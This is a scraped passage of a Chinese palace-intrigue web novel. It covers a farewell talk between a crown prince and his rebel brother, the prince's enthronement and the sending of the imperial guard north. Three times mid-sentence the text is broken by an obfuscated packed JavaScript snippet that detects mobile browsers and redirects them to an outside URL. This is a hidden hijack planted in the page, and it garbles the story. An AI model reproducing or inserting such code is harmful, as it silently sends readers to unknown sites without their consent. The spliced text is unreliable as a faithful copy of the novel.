“你我之间哪有家事可聊,还不如聊一聊美酒和宝刀。” “今夜之后,你我兄弟还有机会再相聚喝上一杯吗?” “太子殿下,您指的是生前还是死后?” “有生之年。” 永王轻叹了一声,“太子殿下,你我此生应该不会再有机会相见了。” “不过殿下,你还有很多兄弟,老二老三老五老六……他们都是您的兄弟。” 永王殿下忽然不怀好意地笑了笑,“您可以叫上很多兄弟也像今日这般聚上一聚,喝酒喝茶,他们虽不是我,但和我一样有反心。” “对于李苍雪先生的死,我很心痛,不过我还是希望你相信,我尽力了。”太子殿下话锋一转。 提到李苍雪,永王将一直掩饰良好的笑意收了起来,呷了一口酒。 “先生的死,唤醒了我,唤醒了那个一直被父皇驯化,饲养着的,家畜般的我。” “父皇罪大恶极,可如今他已然驾崩了,所有因他而起的新仇旧恨,也自该随他而尘归尘,土归土。”太子殷切劝道。 永王仔仔细细盯了太子一阵,冷笑道:“我今日总算是明白,为何父皇要选你做太子了。” “大哥这是在揶揄嘲弄我打不还手,骂不还口吗?” “不,您何止是这样啊?太子殿下,您简直是打碎了牙往肚子里咽,就为了那个所谓的,虚伪不堪的大局大义。” “前段日子,无意间找到了先生生前所写的手书,都说文以载道,可于我来说,文字让人忘不掉前人流过的血,也让我明白,有些事永远过不去。” “李先生在手书里写了什么?” “他没写他自己所受的冤屈,只写了儒家的六经集注和早年游历各地的见闻。” “有何见闻?”太子殿下忙问道。 “其一,贫民耕田最后却要饿着肚子,贫民盖房最后却无房可住。处于如此逆境死局之中,却鲜少有人站出来埋怨朝廷。” 太子殿下如听惊雷。 永王继续说道:“其二,民间思想不一统,儒道佛三教相攻防,相争夺,三教不一,民智不一,天下便不能合众为一,光靠励精图治的明君和朝廷唱‘独角戏’,将是死路一条。” “其三,朝廷赋税徭役严苛,民间只能不断地毁林毁草,开荒种田,先帝的‘招民开垦,按亩收租’的国策已使大片土地沙化石化。” “牧养无度,草莱荒芜,赤地千里,民无所食。” “至于其他的,酒过三巡,一时也想不起来了。”永王故意隐瞒了些。 他心想,太子能做的,他已经悉数告知了,至于太子不能做的,那就他自己来。 太子站起,躬身行礼,向着永王殿下重重一拜:“兄长,四弟今日受教了,定当谨记李先生所托,改变民间乱局。” 永王殿下只是静静看着窗外雪景。 “兄长,你有想过起兵之后李娴该怎么办吗?” “哦?不聊国事,太子殿下竟开始聊起了女人来?”永王殿下避而不答。 “我派去的人,只活着回来了一个,这恰恰说明,她在你心中是何等地位。”太子殿下平静地说道。 “她不会知道我的心意,哪怕有朝一日,我身首异处,想来她儿女承欢膝下,对此,也只会一笑置之吧!”永王喃喃说道。 “既是心爱之人,便不应眼睁睁看着她嫁给年迈之人,日后孀居半生。” “我看蒋牧斋那身子骨,多活个十几年没问题,而我,又有几年光景能活呢?嫁给他,远比跟着我好。” “那十几年后呢?” “十几年后,她的儿女也都大了,自然是有余力能照顾好她,再不济,还有你这个宅心仁厚的太子殿下,不会坐视她吃苦受罪而不管的。” “你倒是为她设想得挺全的,可你所设想的日子,真的是她愿意过的日子吗?” 永王无奈道:“没得选,自从父皇察觉到我母妃是北羌探子后,我已是必死之身,给不了她什么更好的了。” “据我所知,静妃娘娘并未做过什么有损大渊的事,她久居深宫,吃斋念佛,不问世事。唯一与前朝有过瓜葛的只有她收养孤臣之女李娴这一件事。” 许是酒喝多了,永王殿下不禁泪眼潸潸,“太子殿下,您真的相信我母妃是无辜的,洛郡关一役不是我母妃泄密的。” “静姨娘是看着我长大的,她心善,不会伤我的。” 永王殿下哽咽道:“有你这句话,足矣。” “但我知道洛郡关一役,确实是有人将大渊的兵力布防泄露给了北羌人,不然无法解释,他们的埋伏为何分毫不差。” “是父皇。”永王殿下冷冷道。 “我也是如此猜测的,父皇想杀我,但不想背负杀子之名遗臭万年,所以,以他毒辣的性子,定会借刀杀人,把自己摘得干干净净的。” “只是,我没想到,他甚至不惜丢几个边关要塞之地,也要借北羌人之手除掉我。” “你得民心,朝堂拥护于你,边关大将和你亲如兄弟,要怪,就要怪你这个太子当得太好了,远甚于他这个皇帝。他不杀你,那就不是我所认识的父皇了。” 永王殿下像是想起什么:“对了,你和他,中间还隔着杀母之仇。四弟啊,这个太子之位哪里是一人之下,万人之上,分明就是催命符。” 太子怅然:“他确实是想杀我,他恨毒了我,不惜任何代价,也要让我死在北境。可真当我在洛郡关身处险地,命悬一线时,也是他暗中派兵将我救了出来。” 永王大惊:“你是说,他本可以彻底杀了你,可是最后关头,他却反悔了?” “确实如此,这么多年,我一直在思索,这到底是帝王心术,驭人之道,还是我们之间,多多少少也算是有点父子之情。” 永王殿下想了很久,说道:“或许是他没得选,你若是死了,他就得在老二老三老五老六……他们中间选一个当太子了,那些兄弟,只怕比我还巴着他驾崩呢。” 太子殿下苦笑。 永王见此,拍了拍他的肩膀:“四弟,你是兄弟们中最心善的一个,但是,既出生在皇家,我还是要劝你,永远不要相信皇家能有什么父子之情,手足之情。” “所以,大哥,你也是愿意看到我执掌天下的?对吗?”太子眼中满怀期待。 “四弟,我且问你,大渊有多少年光景了?” “到如今约莫有四百多年。” 永王叹了口气。“是啊,都这么久了。四百多年了,新旧势力博弈,世家皇家争权,这个朝廷,积弊了四百多年了。” “大哥,你可愿辅助我,我们兄弟一心,共同改变这乱局。” 永王殿下顿时无语,“四弟,你都当了那么多年太子,为何还是如此天真?” “大渊就像人一样,年纪大了,久而久之,身上长满脓疮,你即位后,所能做的只有割肉补疮,最多就是自己亲自上阵吸一吸毒脓,可世家还在,弊端还在,积弊仍在延续。” “当皇帝的人,不能大刀阔斧改革,那样多半是给后来者做嫁衣,清洗世家,重振朝纲,重建朝局的,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102353|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们这些反贼来干最适合。” 太子眼眶含泪,“大哥,你来做皇帝,我来清洗世家和藩镇将领,你比我狠心比我杀伐决断,更适合做九五至尊。” 永王嘴角直抽抽:“四弟,你这么说,我一时不知道你是在夸我还是在骂我。” 两人不约而同笑了出来。 过了一会,永王喃喃说:“还是我来当反贼合适,父皇不是说我母妃通敌叛国吗?那好,我就真通敌叛国反给他看看,也算不辜负他的一番猜忌。” “这又是何苦呢?你我兄弟二人,文治武功,难道还找不出其他方法挽狂澜于既倒吗?” “四弟,你心里清楚,大渊早已被父皇搞得民不聊生,岌岌可危,虽然你一直竭力于粉饰太平,可过不了几年,北边的铁骑就会南下,到时候,无人能挡。如今已到了生死存亡之际,不破不立,必须置之死地而后生。” “可是,你所做的一切,天下人不会理解,日后青史上,你只有千载骂名。” “对了,说到这个,你登基后,记得帮我洗脱李先生的冤屈,好好安葬他,让后世知道他的绝学和苦心。李先生待我亲如父子,我不忍他背负一世骂名。” “这是自然,儒圣自有历史为他们正名,帝王从未有资格予他们污名。” 天已经快亮了,永王知道,快到了离开之际。 太子看出了永王的担忧,“大哥,还有什么我能做的,你尽快写下来,我来替你安排。” 永王点了点头,有些话太肉麻,不适合当面说,还是写下来为好。 “四海,笔墨伺候。” 永王殿下洋洋洒洒,写了满满一页纸,字越写越小,越写越密,总觉得永远也写不完。 太仓促了,太遗憾了,太痛了,感觉这一生还没好好过几年,还有好多事都还没来得及做,怎么就突然走到尽头了。 真不甘心啊,我明明有好多事想做,好多东西要交代…… 不甘心啊,这大概就是命吧,来不及道别,就已经戛然而止了。 永王殿下写到天亮,终于依依不舍停笔了。 “罢了罢了。就这些,不多不少,不过够你忙活几年了,若嫌麻烦,就挑几样做,不强求,顺其自然。” “兄长,你交代的事,我定当竭尽全力。” 永王殿下终于了无牵挂,起身准备离开。 “兄长,您这就要走,天色还早,再坐一会吧,今日一别,你我兄弟怕是……” “哦,这个啊,我下过令,我的人,天亮之前,要是没见到我出来,便要杀到你东宫来救我了,所以,我现在必须得出府了。”永王殿下是故意骗太子的,他想,再不走,就再也下不了要走的决心了。 四海:???那您还是快走吧!!! “兄长要去哪?” “去北羌,娶一位北羌公主,然后回来起兵造反。” 永王殿下了无牵挂地离开了。 太子看着永王殿下大雪中落寞背影,热泪盈眶。 他想起多年前,也是在东宫,母妃也是这般,偷偷赶来和他聊了彻夜,将一切该交代的不该交代的全都说了出来。 她也是这般了无牵挂地离开东宫。 从此不再回来。 太子殿下知道,兄长和母妃一样,这一别,从此天人两隔,再也不复相见。 母妃回去坦然赴死,她以为,自己一死,一可保母族不受灭族之灾,二可保太子东宫之位。 母妃赴死时,是开心的,是释怀的,是了无遗憾的…… 可她永远不会知道,她死后,不仅母族被连根拔起,就连自己,也险些埋骨北境,死无葬身之地。 她不知道,在东宫的日子,其实生不如死;江浙的亲人,多少人被抄家流放,死无全尸。 她不知道,她明明是被绞死的,可在史书上却被记成幽禁冷宫活活饿死,尸骨尽腐。 皇家有太多秘密,而世人永远不会知晓。真真假假,雾里看花,只有皇权依旧神圣威严,不可侵犯。 对于兄长,他心里清楚,他这些年来所做的一切。 同样,他也知道,兄长要走的路是一条必死之路,这条路上,他如母妃一般,坦然赴死。 明知不可为而为之。 其实,兄长纸上所写,很多事他穷尽一生也做不到。 可他没有勇气说出来,他骗他,他可以做到。 他和母妃一样,都对自己寄予厚望。 太子殿下哑然失笑,他唯一能做到的,居然只有,让至亲之人临终之际了无牵挂,不留遗憾。 真是滑天下之大稽。 所谓的“看到我被百姓爱戴,被朝臣拥护,羽翼丰满”,其实是他故意给母妃织的一场幻梦。 那时他幽禁东宫,险些饿死,群臣倒戈,百姓不知。 所谓的东宫戒备森严,有禁军围府,那不是世俗意义上的护佑东宫,而是父皇对自己赤裸裸的杀意。 至于兄长,他要杀世家,要灭门阀,要铲除群雄割据。 太子明知,这是一条死路。 他也清楚,世家和门阀是杀不完的,旧的世家被灭族,新的世家又会马上拔地而起。 江山代有门阀出,此恨绵绵无绝期。 世家贵族太多了,矛盾也太深了,他自己入主东宫这么多年,拼尽全力,也只是在世家门阀那颗“芝兰玉树”中修修剪剪。 光是剪掉几个枝叶,修掉几个旁支,便已付出极为惨烈的代价,而那颗“芝兰玉树”,反而越长越茂盛,逐渐长成参天大树。 官僚,皇权,军队,门阀,这些本质就是一张大网,人越挣扎网越紧。 他不敢将这一切告知兄长,他知道自己阻止不了兄长,他唯一能做的,也只有让兄长开开心心赴死,像母妃那般,临终前了无牵挂。 甚至在史书上,他也不能为母妃和兄长正名,血统,成见,世袭,皇权,这些矛盾,其实不可解决。 世家灭不完,贪官杀不尽,争权夺利的士大夫层出不穷,而忠志之士,却越来越少。 太子盯着茶水里的倒影,看着自己一步步变得面目全非,他害怕自己有朝一日也变成父皇那样疑心深重,心狠手辣,对权力歇斯底里的人。 “四海,听太傅说过,父皇也曾是一代明君。” 四海看出了太子心中忧虑,淡淡道:“殿下永远不会重蹈覆辙。” “何以见得?” “因为殿下身后有贤妃娘娘,有永王殿下,还有楼太傅。” “可今夜,我原是打算杀了兄长的。今夜本就是出鸿门宴。” “可殿下您终究没下得了手,如今,永王殿下早已平安出府了。” “因为,本宫没想到,兄长竟真的前来赴约了。” 四海:??? 殿下,这下我就不太懂您是啥意思了?这话我怎么接?你以为他不会来,然后就摆鸿门宴,自己演给自己看吗? 这什么意思? “殿下,您心魔太重了。”四海抓耳挠腮想了半天。 太子一怔,“本宫确实是疯魔了,可试问坐在这个位置上的人,哪一个不是疯魔至极。绝对的权力终会让人疯魔。” 四海:殿下,您的话我可以不接吗? 39.太子登基 今日太子登基,满朝文武都老老实实地在皇宫三跪九叩行大礼。 萧照有一瞬是想跪的,也想在文德殿高呼一声“臣萧照叩见陛下,愿陛下万岁万岁万万岁”,可他是个外族人,去不了登基大典。 于是乎这日,他和阿勒齐雇了辆骡车,打算在京都闲逛一番。 车夫似乎是格外高兴:“二位公子,今日太子登基,普天同庆,一趟车每十里地便宜六文钱。” 萧照打量着车夫,见他上身穿着破旧小褂,脚下踩着一双旧草鞋,整个人在寒风中冻得发红发紫。 “太子登基,和我们这些老百姓又有何干?他做他的九五至尊,咱们这些寻常人家还不照样吃不饱,穿不暖?”萧照故意问道。 车夫摆摆手:“非也非也,太子登基,以后咱大渊朝的气候可就要变天了,小兄弟,你就等着看吧,以后的日子有盼头了。” 萧照轻蔑一笑:“你怎么就能担保这以后的日子是越变越好呢?万一太子也如先帝一般,刻薄寡恩,穷奢极欲,又该当如何呢?” “那不能够,我估摸着等我孙子的孙子能拉车时,咱大渊朝都出不了一个像先帝那般的皇子。”车夫撇了撇嘴,往地下吐了口唾沫。 阿勒齐强忍住笑意,想起了江湖上的兄弟跟他聊过一个民间顺口溜 “宁教契羌烧杀,不要陛下用民,北寇只要咱地,陛下要咱骨头渣。 打仗要咱命,种地要咱皇粮,过日子要咱上供,里里外外吃肉不吐骨头。 流血砍头是留给咱老百姓的,读书做官是要留给文人的,升官发财是要留给世家的,朝廷照顾是要留给乡绅大户的。 外有千古强敌,家有千古一帝,咱大渊老百姓真是几辈子修来的“福报”! 上辈子奸淫掳掠,这辈子做大渊人,下辈子当王八羔子,一辈比一辈强……” 车夫环顾四周,突然压低声音,在萧照和阿勒齐耳边耳语:“我瞅着咱新帝不是多精明的人,时不时还有几份傻气,肯定是个明君。” 萧照眉头紧锁,难以理解。 他方才说谁不精?谁傻?是他瞎了还是我聋了? 许是新帝即位,百姓许久未领略到帝王雷霆之怒,车夫的胆子格外大。 他悄悄说:“以前先帝龙体安康时,田租两年一涨,皇粮一年比一年交得多。” “可自打先帝遇刺,太子监国以来,田租纳贡不仅没涨,朝廷居然还时不时给咱庄稼户发几尺布过冬,盐巴和酒也贬了。” “不止如此,你且看啊,今日这登基大典也没怎么大操大办,到现在也没听到街上有啥敲锣打鼓的。” “这要是换做以前的皇上,那是想都不敢想,远的不说,就说先帝吧,太精了,精得都快成精了。” “可是新帝一点都不精,也不贪,更不玩权,从太子开始就当得没滋没味的,如今这天子也当得像小媳妇似的。” 萧照嘲笑道:“燕雀安知鸿鹄之志。” “放屁,我就问你,你要是当朝天子,你能忍住不办排场,你能忍住不酒肉池林,你能忍住不大兴土木,不给自己盖个避暑山庄,不给自己挖个大冰窖存点凉酒。” 萧照仔细思虑了半天,发现自己连一条都做不到,一时间哑口无言。 车夫哈哈大笑了起来,“小兄弟,你是忍不住的,别说你了,哪朝哪代的皇帝都没忍得住。” “所以啊,新帝他不是一般人啊,他是傻的,都一人之下,万人之上了,还讲究什么三纲五常,为君之道,这天下,又没有啥人敢管他了,还不是他想干啥就干啥。” 车夫一连串说了好多,上到大渊开国皇帝,下到世家百姓,一路上一边骂骂咧咧,一边挥鞭赶车,可算是过足了嘴瘾。 萧照静静听着,不附和,心中如死水微澜。 那个人,决心仁义治天下,视兵卒为子弟,爱百姓如手足,殊不知背地里正被这些子弟和手足取笑,当成了冤大头。 君视民如草芥,民视君为寇仇。 君视民如手足,民视君为愚夫。 那个人,呕心沥血,忧国忧民,最后也只会是那群冰冷的,愚昧的,不可测的百姓心中的,一个微末涟漪。 良久,萧照感慨道:“没错,他确实是个傻人。” 阿勒齐在一旁静静听着不说话,心道:这俩真傻子,天天就爱叨叨别人是傻子。 直到骡车走到街角处,正欲转弯,车夫才后知后觉道:“瞧我,被新帝登基大事给冲昏了头,都忘了问二位公子这是要去哪啊?” “就在京都,一条街一条街,一个巷子一个巷子地绕,一直走到天黑宵禁,走到哪算到哪。”萧照答道。 “公子,这是何意?”轮到车夫听不懂人话了。 “想在京都变天之前将这里的一草一木,一砖一瓦再好好地看一看。” 车夫不再问什么,挥鞭赶骡,彷佛生怕萧照清醒过来反悔了,错失了这笔大买卖。 阿勒齐补充道:“说好的每十里地便宜六文。” “错不了,二位公子坐稳了,走起。” 约莫走了三四个时辰,拉车的骡子怎么也不肯往前走了,任车夫扯着嗓子叫骂,哪怕接连猛抽了三个鞭子,那骡子依旧纹丝不动。 看着骡子耷拉着耳朵,阿勒齐不由得想起被楼太傅和萧照逼着读书的日子,酸酸道: “骡子拉车拉累了它就会自己停下来歇息歇息,人读书读累了倒是会沏壶热茶醒醒神,然后继续干。” 骡车停留的地方正是京都第一穷巷——九龙巷。 车夫感叹道:“蠢骡,咋非停在这了?站起来,再往前走一盏茶的功夫不就到天街了,那里啥都有,能喝饱水,吃足草料,你咋就爱卧在这臭烘烘的地方。” 天街——京都最为繁华的一条街。 萧照今日方知,天街和九龙巷就隔了一条街。 “天意,天意。”他脱口而出。 这里马粪遍地,沿街零散分布着用木板、破布条和瓦片搭建起的简易棚屋。 落魄文人,官府逃犯,妓女,鸡鸣狗盗之辈,要饭的,杂耍的,得病要死的……几乎都住在这里。 若是日后有一人,能将这些人有意无意地笼络起来,有形无形地利用起来,那这天下,就是他的了。 萧照正担忧着,忽见阿勒齐跳下了车。 萧照怕阿勒齐流连烟花之地,跟着这群人染上了什么不好的毛病,赶紧叫住他。 “世子,您误会了,别看这九龙巷臭气熏天,又脏又乱,可这条巷子里卖的菜是全京都最便宜的。” “世子,反正咱都雇骡车了,我寻思着,这次多买点米和面,再割十几斤肉,买上十几斤菜瓜,带回学宫大家一起吃,能省不少银子呢!” 萧照两眼一黑,余光瞥见街角光着膀子边唱曲边喝酒的老汉,甚至还有睡在烂菜叶堆的老头,欲言又止。 他想起自己平日三天两头地腹泻,突然间细思极恐。 “阿勒齐,你平时该不会是从这种脏地方买菜给我们大家吃吧?” “世子,这地方菜便宜啊!再说,不干不净吃了没病。” ……………… 傍晚,楼景谦再次踏进紫宸殿,这不是他第一次进到紫宸殿,只是这一次,心境却是大不同。 今日之后,殿下便不再是他的学生了,而是大渊皇帝了,而他,要改口称陛下了。 这个时候,楼景谦惊觉自己太冷静,居然不欣喜若狂,不忧心,不诚惶诚恐。 或许,他登上大位,一切只是刚刚开始。 与此同时,大殿上,新帝同样也无半分喜悦。 此时,紫宸殿,所有闲杂人等纷纷退下,只剩楼太傅和新帝两人。 太傅面色开始凝重起来,他心里清楚,接下来要谈的事一定关系重大。 早知道临走前应该带上几粒护心丸。 “先生,您可知大渊边防的兵力部署?” “略知一二。” “在与北羌交界处,有五万步兵和三万骑兵,两千弓弩手,一千车兵,七千民兵。” “在秘西走廊,有七万大军驻扎,可防契丹南下。” “此外,在冀州还下辖了一军两府,守城之余,兼顾喀沁动向。” “至于西南方向,有两万水兵,一万步兵,可守南境太平。” 楼景谦虽是文臣,却对大渊兵力发布烂熟于心,大渊哪个忠臣良将又不是呢? 多少年来,多少人活在“国破家亡”的阴霾恐惧中。 太子点点头,“太傅所言分毫不差,只是您忽略了大渊还有五万禁军。这些可都是大渊精锐中的精锐。” 说到禁军,楼景谦冷汗差点都冒出来了,“好端端的,怎么突然聊起了禁军?禁军可不能削减啊,大渊的江山本就是南桥兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175392|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变夺来的,没有足够的禁军,江山怕是不稳啊。” 太子淡淡道;“没什么,只是学生觉得大渊兵力太少太分散了,简直就是一盘散沙。” 楼景谦像是想起了什么,笑着说道:“这是没有办法的事,北方群狼虎视眈眈,南方穷山恶水山匪水匪多,况且南境这么多年也是不太平,边境兵力部署只能多不能少。” “前几天,阿勒齐还打趣道,大渊能和北羌,契丹,喀沁,南中这些虎狼做比邻,也算是一种‘福报’啊。” “我知道,大渊这样的兵力部署,是想守住整个江山。可是先生,整个天下,唯独大渊防线处于劣势,想守住一切最后只能什么都守不住。” “陛下的意思是,要放弃一些城池吗?” “是。” “那是要放弃哪座城?是秘西走廊吗?若军队撤出,退居到数百里后的伏虎山—弁河—桑林山一线,便不用驻军七万,那是一道天然屏障,一夫当关,万夫莫开,只需一万将士便可守住。” 太子答道:“秘西走廊永不撤军,那里有太多陇西百姓,三军一撤,必定生灵涂炭。” “是南境诸城吗?” “南境民风彪悍,巫蛊,水匪,抢亲夺寨,哪一件是官府能管得住的?不派重兵,镇不住他们。” “那会是何地?” “京都。” 太傅的心怦怦直跳,“陛下,您的意思是说,把禁军调离京都,抵御北寇。” “前几日,借着京郊三年一度的城墙修缮工事,学生已将禁军秘密调离京都。此刻,他们正翻山越岭地赶往北境。伪装成山匪流寇,不走官道大路,黑夜赶路,白日休整。” “陛下三思啊!五万禁军,向来是我大渊精锐中的精锐,可抵十万兵马,这可是我大渊最后的一张牌,动不得啊!” “虽说他们去北境,倒是不用再担心外寇来犯,可他们一去,京都便是一座孤城,陛下,您可怎么办?” 说到动情处,楼景谦不由得哽咽起来。 “陛下,恕老臣直言,大渊最大的敌人从来都不是北方虎狼,我们最大的敌人一直都是自己人啊。” “可是,先生,学生觉得应当是天子守国门,佑三军,而非相反。” 此刻楼景谦的眼神彷佛在说:陛下您在说什么疯话啊? 太子接着说道:“前几日,我问过萧照,大渊最应该保住什么?” “自然是黎民百姓,江山社稷。” “不,他说,最该保住的是军队。汉人可以没有大渊朝,没有天子,没有皇室世家,但是不能没有军队。” “只要能保住军队,一切便还有机会,百姓可以撤到后方避祸,失地可以等待良机收复,朝廷能重建,天子能再选……” “而大渊这些年来反而用最精锐的那支军队去守卫一个人的安危,先生,我的安危真的需要整整五万人挡在前面吗?” 楼景谦气极了:“陛下,您太短视了。” 少年皇帝忽然从袖子里掏出一把短剑,在空中挥舞了几下。 “先生,我知道我的安危至关重要,况且,我也没有那么大的境界能将生死置之度外,您看,我这龙袍里一直藏着宝剑防身呢!” 楼景谦倒吸一口冷气,想破口大骂,转念一想,对面这个在他面前自称“学生”“我”的人,更是陛下,是天子,他才是君父,自己只是人臣。 可是不骂几句怒气郁结于心,一口老血恐怕都要喷出来了。 楼景谦只得拂袖告退。 “先生,何事那么急着回去?”太子挽留。 “老臣有第一大急事,自是要赶紧回去,老臣要回去打断萧照的狗腿,狗头,狗脑子,把他抽得皮开肉绽,让他长长记性,知道天有多高,地有多厚?” “老臣有这个孽徒,定要回去骂上他三天三夜,唾沫星子喷他满脸,这些年来,老臣一味纵容,心血都教给了狗,笔墨都被搅成了屎,老臣不能看着他每日满嘴喷粪屙屎,定要回去好好管教他。” …… …… …… 楼太傅将平生所有能想到的污言秽语都一股脑说了出来,新帝听得一字不差。 皇帝不生气,面对楼景谦的指桑骂槐,明骂萧照,暗训自己,也是揣着明白装糊涂。 甚至,他还时不时附和道:“先生所言甚是,萧照确实是该好好管教管教了。” 40.沙 萧照近来忧心忡忡,总感觉周围的一切都过于安静了。 其一,永王远去北羌,到现在都没有人知道他的动向。 其二,陛下自登基以来,把五万禁军分批调离京都,这守城之责,居然交给了自己。 他怎么放心?就连萧照自己都没有一成的把握能守得住京都。 再说,京都汉人的生死,关他萧照什么事? 其三,也是最让他担忧的情况,大渊新帝即位,喀沁那边却毫无任何风吹草动。 他不了解大渊皇帝,但他足够了解自己的阿达。 对于一个一心只想做天可汗的阿达来说,这个时候,他应该会想方设法搅乱京都,制造内乱,撼动大渊根基。 再不济,也会撺掇撺掇北羌和契丹趁机结盟挥刀南下。 更奇怪的是,自己前段日子派回喀沁的人也都一去不归,杳无音讯,他的心中隐隐升起了一股不好的预感。 近日的喀沁,俨然成了铜墙铁壁,针插不进,水泼不入。 萧照拔剑四顾,竟不知还能派谁回去打探一二了。 他倒是借着翰璃学宫的名义训练过一批又一批的暗卫和死士,可这些人都是留着对付汉人的,贸然让他们潜入他们完全不了解的喀沁草原,怕是发挥不出他们的功力。 反应快,思虑周全,须臾之间便能把握对方心思,这一看就是汉人的探子。 血性剽悍,杀气重,头脑简单,满嘴废话,这一看就是我喀沁族人。 于无声处起杀心,于无形处使阴招,表面依旧和和气气,君君臣臣,这一看就是汉人。 直来直去,说一不二,只认死理,不知变通。但凡能动刀的地方绝不动嘴,这一看就是草原莽夫。 思虑之间,萧照猛然想起在东宫当值时,曾和当时的太子处理过米价骤涨之事。 当是时,坊间纷纷传言,大渊和北羌不久就要打一场硬战,一时间,人心惶惶,百姓纷纷籴米抢粮。 萧照及学宫的暗探当时费了好一番功夫,自以为查清了真相。 “原因有三,其一,大渊接连两年大旱,稻谷歉收,今年更是每亩不足百斤。” “其二,是为主因,大战传言愈演愈烈,百姓担忧像此前几场大战一样,饿殍遍地,易子而食,纷纷屯粮。” “百姓一哄抢,致使米价水涨船高,米价一涨,许多百姓甚至卖了年猪,揭了自家屋顶上的瓦片拿出来卖,更有甚者,直接将家中老人的寿材当掉了,只为多买一石米。” “其三,米价上涨,豪商巨贾绕过米行,直接从农户手中高价收购稻谷,趁机大量囤积稻谷,等待高价出售。” “一时之间,各大米铺供不应求,进一步加据了米价上涨。” 萧照还记得当时禀明太子时的意气风发,自以为面面俱到,洞若观火。 可谁知,太子满脸失望,他淡淡说道: “务必继续追查下去,直到你比他们自己还要了解他们。” 萧照也是很久之后才得知,米价上涨并非天灾和天时,皆是人为。 而太子殿下早就知道这一切。 大渊接连两年大旱,正因为两年前的大旱,粮食歉收,去年粮价便大涨了一波,所以早在去年年末,太子殿下便下令让州府挖渠引水,垦荒种田,以增粮食。 是故,虽然接连两年大旱,可是开垦新田的亩数更多,今年的粮食收成反而比往年要略高一成。 这一点,太子早已从手下暗探那里悉知。 而散播大战谣言的,正是京都世家。 事出起因是年末太子突然要彻查度支司的账目,度支司一向是世家的钱袋子,里面的水有多深,谁都说不清楚。 为了平账,世家联合收籴平米,屯粮操纵市价,并散播谣言引导百姓哄抢,借机大赚一笔。 而这一点,太子也早已从手下暗探那里悉知。 至于天灾,百姓哄抢囤积,正好掩盖了真相。 此后很长的一段时间,萧照都在反思,大战谣言四起,百姓人心惶惶,一时间哄抢粮食,本无可厚非。 可细想这里面明明是有破绽的,为何当时自己没有看出来。 与北羌大战谣言刚起时,不止稻谷大米,盐巴,肉蛋,布匹,木柴都在涨价,而过了六七日,谣言渐渐平息,盐巴,肉蛋,布匹,木柴都已恢复平价,唯独米价,依旧居高不下。 还有一处破绽,若民间真的短缺粮食,以各州官府的处事风格,一定会及时上奏太子,请求朝廷开官仓放粮,平抑粮价。 而此次,地方州府这边太安静了。 米价飞涨一事,萧照第一次见识到了太子手下暗探的实力。 坊间传闻,东宫坐拥天下第一谍网,真是百闻不如一见。 此刻,萧照脑海中挥之不去太子当时的那句话: 务必继续追查下去,直到你比他们自己还要了解他们 如今,不到半月功夫,沧海桑田,太子成了天子。 天子天子,普天之下,莫非王土,天下事,都瞒不过他的眼睛。 或许,他不止是大渊天子,他比世家更了解世家,比喀沁人更了解喀沁人,比北羌人更了解北羌人。 正是因为足够了解,他才敢秘密把禁军调往北境,让自己参与京都布防。 一想到这,萧照快马进宫求见圣上。 “臣萧照拜见陛下,吾皇万岁万岁万万岁。” 陛下蹙眉,责问道:“萧照,这个时候你不好好带着禁军完成京郊城墙修缮工事,跑来这里做什么?” “臣罪该万死!只是臣有一事不明,辗转难眠,臣愚钝,伏乞陛下圣训。” 陛下扫了他一眼,淡淡道:“说人话。” “陛下为何选中臣来守卫京都,臣明明是异族世子,就连臣自己都不相信自己能有这份赤胆忠心。” “朕阅人无数,用人方面,自有定夺。” “人心如大江大河,汹涌澎湃却又静水流深,试问这天下,谁又能真的看清谁呢?” “你到底想问什么?” “陛下,恕臣直言,您用人不疑,不是您能看穿人心,而是这天下人的一举一动都尽在您的掌握之中,您的谍网密布天下,您目之所及皆是天下诸事。” “你特意赶回来就是为了当面溜须拍马的吗?” “臣只想知道喀沁到底出了什么大事?臣知道陛下您知道。” 闻言,陛下放下手中奏章,沉默良久。 他在犹豫如今这个关键节点该不该告诉他一切。 看到陛下的犹疑,萧照热泪盈眶,他知道,部族一定出了生死大事。 萧照在大殿上重重磕了三个响头。 陛下屏退左右。 “在告诉你一切之前,朕想先问问你,面前只有两条路,而你,只能二选一,一条是保全喀沁,一条是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177176|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保全您母亲,你会选哪一条?” “臣自然是要选择保全母亲。” “为何?”陛下嘴上问着为何,心中丝毫不意外。 “喀沁自有数万族人戍边守卫,自可保江山无忧,而额吉就只有臣一人了,兄长们早已悉数战死沙场,阿达更爱江山,这世上,额吉除了臣之外,再无依靠了。” 陛下重重地叹了口气,“萧照,朝朔北方向跪直了,从现在开始,你跪的人不再是朕,而是你母亲,接下来,朕会一五一十告诉你,你母亲的事。” 